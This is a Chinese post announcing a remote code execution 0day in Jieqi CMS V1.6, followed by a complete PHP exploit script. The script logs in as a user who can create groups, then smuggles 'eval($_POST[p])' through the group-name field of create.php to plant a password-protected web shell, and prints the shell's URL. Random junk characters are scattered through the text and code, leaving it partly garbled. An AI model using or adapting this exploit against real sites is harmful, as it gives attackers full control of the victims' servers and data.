Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。

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5 U1 E* L4 p5 X0 U# z. J该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
需要有一个能创建圈子的用户。
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# ^6 `, ^/ }/ s<?php
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# L9 C5 g% w/ v* @' eprint_r('
+---------------------------------------------------------------------------+
8 S5 _# Y; H& zJieqi CMS V1.6 PHP Code Injection Exploit
/ ~5 M/ w6 n- L2 t/ Yby flyh4t
4 p' O8 L" g. w. `  V2 Z) T; jmail: phpsec at hotmail dot com
team: http://www.wolvez.org
+---------------------------------------------------------------------------+
0 v" k# z! b; Y. S/ @'); /**
) @1 G" d' v+ p2 }8 }4 ~ * works regardless of php.ini settings
3 N. ]1 U* \" a4 `1 Y9 l$ y*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
# }, B" W+ b, G' ]$ aUsage: php '.$argv[0].' host path username
- {" A/ k' n, W: \# \/ X+ z3 ^host:      target server (ip/hostname)
: D% h) |. `. Z, N- upath:      path to jieqicms
# x3 N. h# M% a- j' Quasename:  a username who can create group
+ f& V# Z: S" q) c- V& zExample:
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+---------------------------------------------------------------------------+
8 T7 Y! w: j! c) w5 c'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
$ [6 Z* w( K: K7 wContent-Disposition: form-data; name="gname"

5 Y* V) J- n4 t  V% W& c'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
Content-Disposition: form-data; name="gcatid"

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  _* s! j/ d* a% T- i1 m" \+ z-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"
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1
-----------------------------23281168279961
6 V7 B+ ^# t6 {: m' A) eContent-Disposition: form-data; name="gbrief"
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1
0 D- b) O7 i; `9 U' e/ l6 |8 d-----------------------------23281168279961--
) T0 }9 D5 r  \/ X'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;